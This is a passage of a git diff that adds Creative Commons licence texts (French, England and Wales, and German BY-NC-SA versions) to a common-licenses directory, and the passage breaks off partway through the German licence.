+ b. Dans les limites indiquées ci-dessus, le présent Contrat s'applique pendant toute la durée de protection de l'Oeuvre selon le droit applicable. Néanmoins, l'Offrant se réserve à tout moment le droit d'exploiter l'Oeuvre sous des conditions contractuelles différentes, ou d'en cesser la diffusion; cependant, le recours à cette option ne doit pas conduire à retirer les effets du présent Contrat (ou de tout contrat qui a été ou doit être accordé selon les termes de ce Contrat), et ce Contrat continuera à s'appliquer dans tous ses effets jusqu'à ce que sa résiliation intervienne dans les conditions décrites ci-dessus.
+
+8. Divers
+
+ a. A chaque reproduction ou communication au public par voie numérique de l'Oeuvre ou d'une Oeuvre dite Collective par l'Acceptant, l'Offrant propose au bénéficiaire une offre de mise à disposition de l'Oeuvre dans des termes et conditions identiques à ceux accordés à la partie Acceptante dans le présent Contrat.
+
+ b. A chaque reproduction ou communication au public par voie numérique d'une Oeuvre dite Dérivée par l'Acceptant, l'Offrant propose au bénéficiaire une offre de mise à disposition du bénéficiaire de l'Oeuvre originale dans des termes et conditions identiques à ceux accordés à la partie Acceptante dans le présent Contrat.
+
+ c. La nullité ou l'inapplicabilité d'une quelconque disposition de ce Contrat au regard de la loi applicable n'affecte pas celle des autres dispositions qui resteront pleinement valides et applicables. Sans action additionnelle par les parties à cet accord, lesdites dispositions devront être interprétées dans la mesure minimum nécessaire à leur validité et leur applicabilité.
+
+ d. Aucune limite, renonciation ou modification des termes ou dispositions du présent Contrat ne pourra être acceptée sans le consentement écrit et signé de la partie compétente.
+
+ e. Ce Contrat constitue le seul accord entre les parties à propos de l'Oeuvre mise ici à disposition. Il n'existe aucun élément annexe, accord supplémentaire ou mandat portant sur cette Oeuvre en dehors des éléments mentionnés ici. L'Offrant ne sera tenu par aucune disposition supplémentaire qui pourrait apparaître dans une quelconque communication en provenance de l'Acceptant. Ce Contrat ne peut être modifié sans l'accord mutuel écrit de l'Offrant et de l'Acceptant.
+
+ f. Le droit applicable est le droit français.
+
+Creative Commons n'est pas partie à ce Contrat et n'offre aucune forme de garantie relative à l'Oeuvre. Creative Commons décline toute responsabilité à l'égard de l'Acceptant ou de toute autre partie, quel que soit le fondement légal de cette responsabilité et quel que soit le préjudice subi, direct, indirect, matériel ou moral, qui surviendrait en rapport avec le présent Contrat. Cependant, si Creative Commons s'est expressément identifié comme Offrant pour mettre une Oeuvre à disposition selon les termes de ce Contrat, Creative Commons jouira de tous les droits et obligations d'un Offrant.
+
+A l'exception des fins limitées à informer le public que l'Oeuvre est mise à disposition sous CPCC, aucune des parties n'utilisera la marque « Creative Commons » ou toute autre indication ou logo afférent sans le consentement préalable écrit de Creative Commons. Toute utilisation autorisée devra être effectuée en conformité avec les lignes directrices de Creative Commons à jour au moment de l'utilisation, telles qu'elles sont disponibles sur son site Internet ou sur simple demande.
+
+Creative Commons peut être contacté à https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-NC-SA-2.0-UK b/meta/files/common-licenses/CC-BY-NC-SA-2.0-UK
new file mode 100644
index 0000000000..4025f2325f
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-SA-2.0-UK
@@ -0,0 +1,149 @@
+Creative Commons Attribution - Non-Commercial - Share-Alike 2.0 England and Wales
+
+ CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENCE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE.
+
+Licence
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENCE ("CCPL" OR "LICENCE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENCE OR COPYRIGHT LAW IS PROHIBITED. BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENCE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.
+
+This Creative Commons England and Wales Public Licence enables You (all capitalised terms defined below) to view, edit, modify, translate and distribute Works worldwide, under the terms of this licence, provided that You credit the Original Author.
+
+'The Licensor' [one or more legally recognised persons or entities offering the Work under the terms and conditions of this Licence]
+
+and
+
+'You'
+
+agree as follows:
+
+1. Definitions
+
+ a. "Attribution" means acknowledging all the parties who have contributed to and have rights in the Work or Collective Work under this Licence.
+
+ b. "Collective Work" means the Work in its entirety in unmodified form along with a number of other separate and independent works, assembled into a collective whole.
+
+ c. "Derivative Work" means any work created by the editing, modification, adaptation or translation of the Work in any media (however a work that constitutes a Collective Work will not be considered a Derivative Work for the purpose of this Licence). For the avoidance of doubt, where the Work is a musical composition or sound recording, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered a Derivative Work for the purpose of this Licence.
+
+ d. "Licence" means this Creative Commons England and Wales Public Licence agreement.
+
+ e. "Licence Elements" means the following high-level licence attributes indicated in the title of this Licence: Attribution, Non-Commercial, Share-Alike.
+
+ f. "Non-Commercial" means "not primarily intended for or directed towards commercial advantage or private monetary compensation". The exchange of the Work for other copyrighted works by means of digital file-sharing or otherwise shall not be considered to be intended for or directed towards commercial advantage or private monetary compensation, provided there is no payment of any monetary compensation in connection with the exchange of copyrighted works.
+
+ g. "Original Author" means the individual (or entity) who created the Work.
+
+ h. "Work" means the work protected by copyright which is offered under the terms of this Licence.
+
+For the purpose of this Licence, when not inconsistent with the context, words in the singular number include the plural number.
+
+2. Licence Terms
+
+2.1 The Licensor hereby grants to You a worldwide, royalty-free, non-exclusive, Licence for Non-Commercial use and for the duration of copyright in the Work.
+
+You may:
+
+ • copy the Work;
+
+ • create one or more Derivative Works;
+
+ • incorporate the Work into one or more Collective Works;
+
+ • copy Derivative Works or the Work as incorporated in any Collective Work; and
+
+ • publish, distribute, archive, perform or otherwise disseminate the Work or the Work as incorporated in any Collective Work, to the public in any material form in any media whether now known or hereafter created.
+
+HOWEVER,
+
+You must not:
+
+ • impose any terms on the use to be made of the Work, the Derivative Work or the Work as incorporated in a Collective Work that alter or restrict the terms of this Licence or any rights granted under it or has the effect or intent of restricting the ability to exercise those rights;
+
+ • impose any digital rights management technology on the Work or the Work as incorporated in a Collective Work that alters or restricts the terms of this Licence or any rights granted under it or has the effect or intent of restricting the ability to exercise those rights;
+
+ • sublicense the Work;
+
+ • subject the Work to any derogatory treatment as defined in the Copyright, Designs and Patents Act 1988.
+
+FINALLY,
+
+You must:
+
+ • make reference to this Licence (by Uniform Resource Identifier (URI), spoken word or as appropriate to the media used) on all copies of the Work and Collective Works published, distributed, performed or otherwise disseminated or made available to the public by You;
+
+ • recognise the Licensor's / Original Author's right of attribution in any Work and Collective Work that You publish, distribute, perform or otherwise disseminate to the public and ensure that You credit the Licensor / Original Author as appropriate to the media used; and
+
+ • to the extent reasonably practicable, keep intact all notices that refer to this Licence, in particular the URI, if any, that the Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work.
+
+Additional Provisions for third parties making use of the Work
+
+2.2. Further licence from the Licensor
+
+Each time You publish, distribute, perform or otherwise disseminate
+
+ • the Work; or
+
+ • any Derivative Work; or
+
+ • the Work as incorporated in a Collective Work
+
+the Licensor agrees to offer to the relevant third party making use of the Work (in any of the alternatives set out above) a licence to use the Work on the same terms and conditions as granted to You hereunder.
+
+2.3. Further licence from You
+
+Each time You publish, distribute, perform or otherwise disseminate
+
+ • a Derivative Work; or
+
+ • a Derivative Work as incorporated in a Collective Work
+
+You agree to offer to the relevant third party making use of the Work (in either of the alternatives set out above) a licence to use the Derivative Work on any of the following premises:
+
+ • a licence on the same terms and conditions as the licence granted to You hereunder; or
+
+ • a later version of the licence granted to You hereunder; or
+
+ • any other Creative Commons licence with the same Licence Elements.
+
+2.4. This Licence does not affect any rights that the User may have under any applicable law, including fair use, fair dealing or any other legally recognised limitation or exception to copyright infringement.
+
+2.5. All rights not expressly granted by the Licensor are hereby reserved, including but not limited to, the exclusive right to collect, whether individually or via a licensing body, such as a collecting society, royalties for any use of the Work which results in commercial advantage or private monetary compensation.
+
+3. Warranties and Disclaimer
+
+Except as required by law, the Work is licensed by the Licensor on an "as is" and "as available" basis and without any warranty of any kind, either express or implied.
+
+4. Limit of Liability
+
+Subject to any liability which may not be excluded or limited by law the Licensor shall not be liable and hereby expressly excludes all liability for loss or damage howsoever and whenever caused to You.
+
+5. Termination
+
+The rights granted to You under this Licence shall terminate automatically upon any breach by You of the terms of this Licence. Individuals or entities who have received Collective Works from You under this Licence, however, will not have their Licences terminated provided such individuals or entities remain in full compliance with those Licences.
+
+6. General
+
+6.1. The validity or enforceability of the remaining terms of this agreement is not affected by the holding of any provision of it to be invalid or unenforceable.
+
+6.2. This Licence constitutes the entire Licence Agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. The Licensor shall not be bound by any additional provisions that may appear in any communication in any form.
+
+6.3. A person who is not a party to this Licence shall have no rights under the Contracts (Rights of Third Parties) Act 1999 to enforce any of its terms.
+
+6.4. This Licence shall be governed by the law of England and Wales and the parties irrevocably submit to the exclusive jurisdiction of the Courts of England and Wales.
+
+7. On the role of Creative Commons
+
+7.1. Neither the Licensor nor the User may use the Creative Commons logo except to indicate that the Work is licensed under a Creative Commons Licence. Any permitted use has to be in compliance with the Creative Commons trade mark usage guidelines at the time of use of the Creative Commons trade mark. These guidelines may be found on the Creative Commons website or be otherwise available upon request from time to time.
+
+7.2. Creative Commons Corporation does not profit financially from its role in providing this Licence and will not investigate the claims of any Licensor or user of the Licence.
+
+7.3. One of the conditions that Creative Commons Corporation requires of the Licensor and You is an acknowledgement of its limited role and agreement by all who use the Licence that the Corporation is not responsible to anyone for the statements and actions of You or the Licensor or anyone else attempting to use or using this Licence.
+
+7.4. Creative Commons Corporation is not a party to this Licence, and makes no warranty whatsoever in connection to the Work or in connection to the Licence, and in all events is not liable for any loss or damage resulting from the Licensor's or Your reliance on this Licence or on its enforceability.
+
+7.5. USE OF THIS LICENCE MEANS THAT YOU AND THE LICENSOR EACH ACCEPTS THESE CONDITIONS IN SECTION 7.1, 7.2, 7.3, 7.4 AND EACH ACKNOWLEDGES CREATIVE COMMONS CORPORATION'S VERY LIMITED ROLE AS A FACILITATOR OF THE LICENCE FROM THE LICENSOR TO YOU.
+
+ Creative Commons is not a party to this Licence, and makes no warranty whatsoever in connection with the Work. Creative Commons will not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this licence. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of Licensor.
+
+ Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, neither party will use the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time.
+
+ Creative Commons may be contacted at https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-NC-SA-3.0-DE b/meta/files/common-licenses/CC-BY-NC-SA-3.0-DE
new file mode 100644
index 0000000000..b56385e0c7
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-NC-SA-3.0-DE
@@ -0,0 +1,126 @@
+Creative Commons Namensnennung - Keine kommerzielle Nutzung - Weitergabe unter gleichen Bedingungen 3.0 Deutschland
+
+ CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER "SCHUTZGEGENSTAND" DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", "LIZENZ" ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Abwandlung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange die eigenpersönlichen Züge des Schutzgegenstandes darin nicht verblassen und daran eigene Schutzrechte entstehen. Das kann insbesondere eine Bearbeitung, Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Abwandlung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Benutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand oder Abwandlungen im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit anzubieten oder in Verkehr zu bringen.
+
+ d. Unter "Lizenzelementen" werden im Sinne dieser Lizenz die folgenden übergeordneten Lizenzcharakteristika verstanden, die vom Lizenzgeber ausgewählt wurden und in der Bezeichnung der Lizenz zum Ausdruck kommen: "Namensnennung", "Keine kommerzielle Nutzung", "Weitergabe unter gleichen Bedingungen".
+
+ e. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ f. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person oder Gruppe von Personen, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und bei dem eine Einräumung von Nutzungsrechten oder eine Weiterübertragung an Dritte möglich ist.
+
+ g. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine persönliche geistige Schöpfung jeglicher Art, ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff "Schutzgegenstand" im Sinne dieser Lizenz.
+
+ h. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährten Nutzungsrechte trotz eines vorherigen Verstoßes auszuüben.
+
+ i. Unter "Öffentlich Zeigen" im Sinne dieser Lizenz sind Veröffentlichungen und Präsentationen des Schutzgegenstandes zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und in unkörperlicher Form mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung, zeit- und ortsunabhängiger Zugänglichmachung oder in körperlicher Form mittels Ausstellung erfolgen, unabhängig von bestimmten Veranstaltungen und unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ j. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, mittels beliebiger Verfahren Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch den Vorgang, erstmals körperliche Fixierungen des Schutzgegenstandes sowie Vervielfältigungsstücke dieser Fixierungen anzufertigen, sowie die Übertragung des Schutzgegenstandes auf einen Bild- oder Tonträger oder auf ein anderes elektronisches Medium, gleichviel ob in digitaler oder analoger Form.
+
+2. Schranken des Immaterialgüterrechts. Diese Lizenz ist in keiner Weise darauf gerichtet, Befugnisse zur Nutzung des Schutzgegenstandes zu vermindern, zu beschränken oder zu vereiteln, die Ihnen aufgrund der Schranken des Urheberrechts oder anderer Rechtsnormen bereits ohne Weiteres zustehen oder sich aus dem Fehlen eines immaterialgüterrechtlichen Schutzes ergeben.
+
+3. Einräumung von Nutzungsrechten. Unter den Bedingungen dieser Lizenz räumt Ihnen der Lizenzgeber - unbeschadet unverzichtbarer Rechte und vorbehaltlich des Abschnitts 4.f) - das vergütungsfreie, räumlich und zeitlich (für die Dauer des Schutzrechts am Schutzgegenstand) unbeschränkte einfache Recht ein, den Schutzgegenstand auf die folgenden Arten und Weisen zu nutzen ("unentgeltlich eingeräumtes einfaches Nutzungsrecht für jedermann"):
+
+ a. Den Schutzgegenstand in beliebiger Form und Menge zu vervielfältigen, ihn in Sammelwerke zu integrieren und ihn als Teil solcher Sammelwerke zu vervielfältigen;
+
+ b. Abwandlungen des Schutzgegenstandes anzufertigen, einschließlich Übersetzungen unter Nutzung jedweder Medien, sofern deutlich erkennbar gemacht wird, dass es sich um Abwandlungen handelt;
+
+ c. den Schutzgegenstand, allein oder in Sammelwerke aufgenommen, öffentlich zu zeigen und zu verbreiten;
+
+ d. Abwandlungen des Schutzgegenstandes zu veröffentlichen, öffentlich zu zeigen und zu verbreiten.
+
+Das vorgenannte Nutzungsrecht wird für alle bekannten sowie für alle noch nicht bekannten Nutzungsarten eingeräumt. Es beinhaltet auch das Recht, solche Änderungen am Schutzgegenstand vorzunehmen, die für bestimmte nach dieser Lizenz zulässige Nutzungen technisch erforderlich sind. Alle sonstigen Rechte, die über diesen Abschnitt hinaus nicht ausdrücklich durch den Lizenzgeber eingeräumt werden, bleiben diesem allein vorbehalten. Soweit Datenbanken oder Zusammenstellungen von Daten Schutzgegenstand dieser Lizenz oder Teil dessen sind und einen immaterialgüterrechtlichen Schutz eigener Art genießen, verzichtet der Lizenzgeber auf sämtliche aus diesem Schutz resultierenden Rechte.
+
+4. Bedingungen. Die Einräumung des Nutzungsrechts gemäß Abschnitt 3 dieser Lizenz erfolgt ausdrücklich nur unter den folgenden Bedingungen:
+
+ a. Sie dürfen den Schutzgegenstand ausschließlich unter den Bedingungen dieser Lizenz verbreiten oder öffentlich zeigen. Sie müssen dabei stets eine Kopie dieser Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen dieser Lizenz oder die durch diese Lizenz gewährten Rechte beschränken. Sie dürfen den Schutzgegenstand nicht unterlizenzieren. Bei jeder Kopie des Schutzgegenstandes, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise unverändert lassen, die auf diese Lizenz und den Haftungsausschluss hinweisen. Wenn Sie den Schutzgegenstand verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf den Schutzgegenstand) keine technischen Maßnahmen ergreifen, die den Nutzer des Schutzgegenstandes in der Ausübung der ihm durch diese Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.a) gilt auch für den Fall, dass der Schutzgegenstand einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt dieser Lizenz unterstellt werden muss. Sofern Sie ein Sammelwerk erstellen, müssen Sie auf die Mitteilung eines Lizenzgebers hin aus dem Sammelwerk die in Abschnitt 4.d) aufgezählten Hinweise entfernen. Wenn Sie eine Abwandlung vornehmen, müssen Sie auf die Mitteilung eines Lizenzgebers hin von der Abwandlung die in Abschnitt 4.d) aufgezählten Hinweise entfernen.
+
+ b. Sie dürfen eine Abwandlung ausschließlich unter den Bedingungen
+
+ i. dieser Lizenz,
+
+ ii. einer späteren Version dieser Lizenz mit denselben Lizenzelementen;
+
+ iii. einer rechtsordnungsspezifischen Creative-Commons-Lizenz mit denselben Lizenzelementen ab Version 3.0 aufwärts (z.B. Namensnennung - Keine kommerzielle Nutzung - Weitergabe unter gleichen Bedingungen 3.0 US) oder
+
+ iv. der Creative-Commons-Unported-Lizenz mit denselben Lizenzelementen ab Version 3.0 aufwärts
+
+ verbreiten oder öffentlich zeigen ("Verwendbare Lizenz").
+
+ Sie müssen stets eine Kopie der verwendbaren Lizenz oder deren vollständige Internetadresse in Form des Uniform-Resource-Identifier (URI) beifügen, wenn Sie die Abwandlung verbreiten oder öffentlich zeigen. Sie dürfen keine Vertrags- oder Nutzungsbedingungen anbieten oder fordern, die die Bedingungen der verwendbaren Lizenz oder die durch sie gewährten Rechte beschränken. Bei jeder Abwandlung, die Sie verbreiten oder öffentlich zeigen, müssen Sie alle Hinweise auf die verwendbare Lizenz und den Haftungsausschluss unverändert lassen. Wenn Sie die Abwandlung verbreiten oder öffentlich zeigen, dürfen Sie (in Bezug auf die Abwandlung) keine technischen Maßnahmen ergreifen, die den Nutzer der Abwandlung in der Ausübung der ihm durch die verwendbare Lizenz gewährten Rechte behindern können. Dieser Abschnitt 4.b) gilt auch für den Fall, dass die Abwandlung einen Bestandteil eines Sammelwerkes bildet, was jedoch nicht bedeutet, dass das Sammelwerk insgesamt der verwendbaren Lizenz unterstellt werden muss.
+
+ c. Die Rechteeinräumung gemäß Abschnitt 3 gilt nur für Handlungen, die nicht vorrangig auf einen geschäftlichen Vorteil oder eine geldwerte Vergütung gerichtet sind ("nicht-kommerzielle Nutzung", "Non-commercial-Option"). Wird Ihnen in Zusammenhang mit dem Schutzgegenstand dieser Lizenz ein anderer Schutzgegenstand überlassen, ohne dass eine vertragliche Verpflichtung hierzu besteht (etwa im Wege von File-Sharing), so wird dies nicht als auf geschäftlichen Vorteil oder geldwerte Vergütung gerichtet angesehen, wenn in Verbindung mit dem Austausch der Schutzgegenstände tatsächlich keine Zahlung oder geldwerte Vergütung geleistet wird.
+
+ d. Die Verbreitung und das öffentliche Zeigen des Schutzgegenstandes oder auf ihm aufbauender Abwandlungen oder ihn enthaltender Sammelwerke ist Ihnen nur unter der Bedingung gestattet, dass Sie, vorbehaltlich etwaiger Mitteilungen im Sinne von Abschnitt 4.a), alle dazu gehörenden Rechtevermerke unberührt lassen. Sie sind verpflichtet, die Rechteinhaberschaft in einer der Nutzung entsprechenden, angemessenen Form anzuerkennen, indem Sie - soweit bekannt - Folgendes angeben:
+
+ i. Den Namen (oder das Pseudonym, falls ein solches verwendet wird) des Rechteinhabers und / oder, falls der Lizenzgeber im Rechtevermerk, in den Nutzungsbedingungen oder auf andere angemessene Weise eine Zuschreibung an Dritte vorgenommen hat (z.B. an eine Stiftung, ein Verlagshaus oder eine Zeitung) ("Zuschreibungsempfänger"), Namen bzw. Bezeichnung dieses oder dieser Dritten;
+
+ ii. den Titel des Inhaltes;
+
+ iii. in einer praktikablen Form den Uniform-Resource-Identifier (URI, z.B. Internetadresse), den der Lizenzgeber zum Schutzgegenstand angegeben hat, es sei denn, dieser URI verweist nicht auf den Rechtevermerk oder die Lizenzinformationen zum Schutzgegenstand;
+
+ iv. und im Falle einer Abwandlung des Schutzgegenstandes in Übereinstimmung mit Abschnitt 3.b) einen Hinweis darauf, dass es sich um eine Abwandlung handelt.
+
+ Die nach diesem Abschnitt 4.d) erforderlichen Angaben können in jeder angemessenen Form gemacht werden; im Falle einer Abwandlung des Schutzgegenstandes oder eines Sammelwerkes müssen diese Angaben das Minimum darstellen und bei gemeinsamer Nennung mehrerer Rechteinhaber dergestalt erfolgen, dass sie zumindest ebenso hervorgehoben sind wie die Hinweise auf die übrigen Rechteinhaber. Die Angaben nach diesem Abschnitt dürfen Sie ausschließlich zur Angabe der Rechteinhaberschaft in der oben bezeichneten Weise verwenden. Durch die Ausübung Ihrer Rechte aus dieser Lizenz dürfen Sie ohne eine vorherige, separat und schriftlich vorliegende Zustimmung des Lizenzgebers und / oder des Zuschreibungsempfängers weder explizit noch implizit irgendeine Verbindung zum Lizenzgeber oder Zuschreibungsempfänger und ebenso wenig eine Unterstützung oder Billigung durch ihn andeuten.
+
+ e. Die oben unter 4.a) bis d) genannten Einschränkungen gelten nicht für solche Teile des Schutzgegenstandes, die allein deshalb unter den Schutzgegenstandsbegriff fallen, weil sie als Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen.
+
+ f. Bezüglich Vergütung für die Nutzung des Schutzgegenstandes gilt Folgendes:
+
+ i. Unverzichtbare gesetzliche Vergütungsansprüche: Soweit unverzichtbare Vergütungsansprüche im Gegenzug für gesetzliche Lizenzen vorgesehen oder Pauschalabgabensysteme (zum Beispiel für Leermedien) vorhanden sind, behält sich der Lizenzgeber das ausschließliche Recht vor, die entsprechende Vergütung einzuziehen für jede Ausübung eines Rechts aus dieser Lizenz durch Sie.
+
+ ii. Vergütung bei Zwangslizenzen: Sofern Zwangslizenzen außerhalb dieser Lizenz vorgesehen sind und zustande kommen, behält sich der Lizenzgeber das ausschließliche Recht auf Einziehung der entsprechenden Vergütung für den Fall vor, dass Sie eine Nutzung des Schutzgegenstandes für andere als die in Abschnitt 4.c) als nicht-kommerziell definierten Zwecke vornehmen, verzichtet für alle übrigen, lizenzgerechten Fälle von Nutzung jedoch auf jegliche Vergütung.
+
+ iii. Vergütung in sonstigen Fällen: Bezüglich lizenzgerechter Nutzung des Schutzgegenstandes durch Sie, die nicht unter die beiden vorherigen Abschnitte (i) und (ii) fällt, verzichtet der Lizenzgeber auf jegliche Vergütung, unabhängig davon, ob eine Einziehung der Vergütung durch ihn selbst oder nur durch eine Verwertungsgesellschaft möglich wäre. Der Lizenzgeber behält sich jedoch das ausschließliche Recht auf Einziehung der entsprechenden Vergütung (durch ihn selbst oder eine Verwertungsgesellschaft) für den Fall vor, dass Sie eine Nutzung des Schutzgegenstandes für andere als die in Abschnitt 4.c) als nicht-kommerziell definierten Zwecke vornehmen.
+
+ g. Persönlichkeitsrechte bleiben - soweit sie bestehen - von dieser Lizenz unberührt.
+
+5. Gewährleistung
+
+SOFERN KEINE ANDERS LAUTENDE, SCHRIFTLICHE VEREINBARUNG ZWISCHEN DEM LIZENZGEBER UND IHNEN GESCHLOSSEN WURDE UND SOWEIT MÄNGEL NICHT ARGLISTIG VERSCHWIEGEN WURDEN, BIETET DER LIZENZGEBER DEN SCHUTZGEGENSTAND UND DIE EINRÄUMUNG VON RECHTEN UNTER AUSSCHLUSS JEGLICHER GEWÄHRLEISTUNG AN UND ÜBERNIMMT WEDER AUSDRÜCKLICH NOCH KONKLUDENT GARANTIEN IRGENDEINER ART. DIES UMFASST INSBESONDERE DAS FREISEIN VON SACH- UND RECHTSMÄNGELN, UNABHÄNGIG VON DEREN ERKENNBARKEIT FÜR DEN LIZENZGEBER, DIE VERKEHRSFÄHIGKEIT DES SCHUTZGEGENSTANDES, SEINE VERWENDBARKEIT FÜR EINEN BESTIMMTEN ZWECK SOWIE DIE KORREKTHEIT VON BESCHREIBUNGEN. DIESE GEWÄHRLEISTUNGSBESCHRÄNKUNG GILT NICHT, SOWEIT MÄNGEL ZU SCHÄDEN DER IN ABSCHNITT 6 BEZEICHNETEN ART FÜHREN UND AUF SEITEN DES LIZENZGEBERS DAS JEWEILS GENANNTE VERSCHULDEN BZW. VERTRETENMÜSSEN EBENFALLS VORLIEGT.
+
+6. Haftungsbeschränkung
+
+DER LIZENZGEBER HAFTET IHNEN GEGENÜBER IN BEZUG AUF SCHÄDEN AUS DER VERLETZUNG DES LEBENS, DES KÖRPERS ODER DER GESUNDHEIT NUR, SOFERN IHM WENIGSTENS FAHRLÄSSIGKEIT VORZUWERFEN IST, FÜR SONSTIGE SCHÄDEN NUR BEI GROBER FAHRLÄSSIGKEIT ODER VORSATZ, UND ÜBERNIMMT DARÜBER HINAUS KEINERLEI FREIWILLIGE HAFTUNG.
+
+7. Erlöschen
+
